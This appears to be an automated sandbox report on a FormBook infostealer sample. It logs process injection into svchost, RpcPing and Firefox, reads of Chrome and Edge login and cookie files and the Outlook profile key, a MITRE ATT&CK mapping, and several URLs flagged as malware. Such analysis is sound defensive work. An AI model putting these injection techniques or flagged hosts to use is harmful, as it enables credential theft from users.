Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E6F00 mov eax, dword ptr fs:[00000030h]	2_2_032E6F00

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_004238DA __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_004238DA

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0041F250 SetUnhandledExceptionFilter,	0_2_0041F250
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041A208
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00417DAA

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtCreateMutant: Direct from: 0x774635CC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtWriteVirtualMemory: Direct from: 0x77462E3C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtMapViewOfSection: Direct from: 0x77462D1C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtResumeThread: Direct from: 0x774636AC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtProtectVirtualMemory: Direct from: 0x77462F9C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtSetInformationProcess: Direct from: 0x77462C5C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtSetInformationThread: Direct from: 0x774563F9	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtNotifyChangeKey: Direct from: 0x77463C2C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtProtectVirtualMemory: Direct from: 0x77457B2E	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtAllocateVirtualMemory: Direct from: 0x77462BFC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtQueryInformationProcess: Direct from: 0x77462C26	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtResumeThread: Direct from: 0x77462FBC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtReadFile: Direct from: 0x77462ADC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtQuerySystemInformation: Direct from: 0x77462DFC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtDelayExecution: Direct from: 0x77462DDC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtAllocateVirtualMemory: Direct from: 0x77463C9C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtClose: Direct from: 0x77462B6C
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtCreateUserProcess: Direct from: 0x7746371C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtWriteVirtualMemory: Direct from: 0x7746490C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtAllocateVirtualMemory: Direct from: 0x774648EC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtQuerySystemInformation: Direct from: 0x774648CC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtQueryVolumeInformationFile: Direct from: 0x77462F2C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtReadVirtualMemory: Direct from: 0x77462E8C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtCreateKey: Direct from: 0x77462C6C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtSetInformationThread: Direct from: 0x77462B4C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtQueryAttributesFile: Direct from: 0x77462E6C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtDeviceIoControlFile: Direct from: 0x77462AEC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtOpenSection: Direct from: 0x77462E0C	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtCreateFile: Direct from: 0x77462FEC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtOpenFile: Direct from: 0x77462DCC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtQueryInformationToken: Direct from: 0x77462CAC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtTerminateThread: Direct from: 0x77462FCC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtAllocateVirtualMemory: Direct from: 0x77462BEC	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	NtOpenKeyEx: Direct from: 0x77462B9C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\RpcPing.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\RpcPing.exe

Thread register set: target process: 348

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\RpcPing.exe

Thread APC queued: target process: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 69C008

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_00436CD7 LogonUserW,

0_2_00436CD7

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

0_2_0040D590

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00434418

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0043333C __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_0043333C

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\xBzBOQwywT.exe"	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Process created: C:\Windows\SysWOW64\RpcPing.exe "C:\Windows\SysWOW64\RpcPing.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_00446124 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00446124

Source: xBzBOQwywT.exe, IpIaYUETnYWFH.exe, 00000004.00000000.1729912660.00000000012C1000.00000002.00000001.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000004.00000002.3364368636.00000000012C1000.00000002.00000001.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3364832974.0000000000ED1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: IpIaYUETnYWFH.exe, 00000004.00000000.1729912660.00000000012C1000.00000002.00000001.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000004.00000002.3364368636.00000000012C1000.00000002.00000001.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3364832974.0000000000ED1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: IpIaYUETnYWFH.exe, 00000004.00000000.1729912660.00000000012C1000.00000002.00000001.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000004.00000002.3364368636.00000000012C1000.00000002.00000001.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3364832974.0000000000ED1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: 0Program Manager
Source: IpIaYUETnYWFH.exe, 00000004.00000000.1729912660.00000000012C1000.00000002.00000001.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000004.00000002.3364368636.00000000012C1000.00000002.00000001.00040000.00000000.sdmp, IpIaYUETnYWFH.exe, 00000006.00000002.3364832974.0000000000ED1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: xBzBOQwywT.exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_004720DB GetLocalTime,__swprintf,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,

0_2_004720DB

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_00472C3F GetUserNameW,

0_2_00472C3F

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0041E364 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_0041E364

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3367695283.0000000004CE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3356645004.00000000004D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1804925513.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3365351743.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1809587289.00000000056F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3360236201.0000000000880000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1808701497.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3365349150.0000000002A00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\RpcPing.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: xBzBOQwywT.exe	Binary or memory string: WIN_XP
Source: xBzBOQwywT.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 8, 1USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----&
Source: xBzBOQwywT.exe	Binary or memory string: WIN_XPe
Source: xBzBOQwywT.exe	Binary or memory string: WIN_VISTA
Source: xBzBOQwywT.exe	Binary or memory string: WIN_7
Source: xBzBOQwywT.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3367695283.0000000004CE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3356645004.00000000004D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1804925513.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3365351743.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1809587289.00000000056F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3360236201.0000000000880000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1808701497.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3365349150.0000000002A00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	0_2_004652BE
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_00476619
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0046CEF3

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	16 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
xBzBOQwywT.exe	71%	ReversingLabs	Win32.Backdoor.FormBook
xBzBOQwywT.exe	100%	Avira	TR/AD.Swotter.xlnzp
xBzBOQwywT.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.doggieradio.net/szy7/	0%	Avira URL Cloud	safe
http://www.childlesscatlady.today/itly/?F2=tsSBdLA6gv84Y8GcYug/jDCyCw8YLYxClZSiOA0GXKnW8CsuEbQ9YFwfaGPSJlWcPZlV2TdpOPQww8tdSTouFUFoXNGv3nAP+8PLYYLXnvdwJlki1+XL6LziD5lvjPEK7Q==&sHS=543hApwHD	0%	Avira URL Cloud	safe
http://www.promasterev.shop/abrg/	100%	Avira URL Cloud	malware
http://www.palcoconnector.net/px.js?ch=2	0%	Avira URL Cloud	safe
http://www.falconclub.online/sld7/	100%	Avira URL Cloud	malware
http://www.palcoconnector.net/px.js?ch=1	0%	Avira URL Cloud	safe
http://www.multileveltravel.world/hfue/?sHS=543hApwHD&F2=GzF3o7eza1dU4F476cHHeral/cYJG+FCwgJMIz0HPlfrSCMBDVuQfjGNmxBd7moVrhCGY2hY7MCgK+Mnekgs9Dtqmg1if+oIl65BopybHLADU68if1oWKFmqENabDE70MA==	0%	Avira URL Cloud	safe
http://www.promasterev.shop/abrg/?F2=GnAJmiRPPiyH2TmfuBVnsZoXdGf0FUPFySgQhtVOM4GwnDq9Dnvh9ePCWYtJxLLAU+yG0d2c2V85YMiF3u+CXoS/lp19JNeFf5Feq2s9J88WlfAexgO/UytfAJO4SOXJGQ==&sHS=543hApwHD	100%	Avira URL Cloud	malware
http://www.palcoconnector.net/bnrz/	0%	Avira URL Cloud	safe
http://www.shanhaiguan.net/b6g5/	0%	Avira URL Cloud	safe
http://www.falconclub.online/sld7/?F2=/serfU6kaxhlkkJx8dOr0qlSRXA+6La0KEB68G6jbYfyT6z2zvVJBFhkOYA104kn6FRHm7lAc7gn2TRu9DlzyIrvo6u+6+g1Ilwo5dhHoQBd/NfHtrD7TOfEhTSvK6UN8A==&sHS=543hApwHD	100%	Avira URL Cloud	malware
http://www.childlesscatlady.today/itly/	0%	Avira URL Cloud	safe
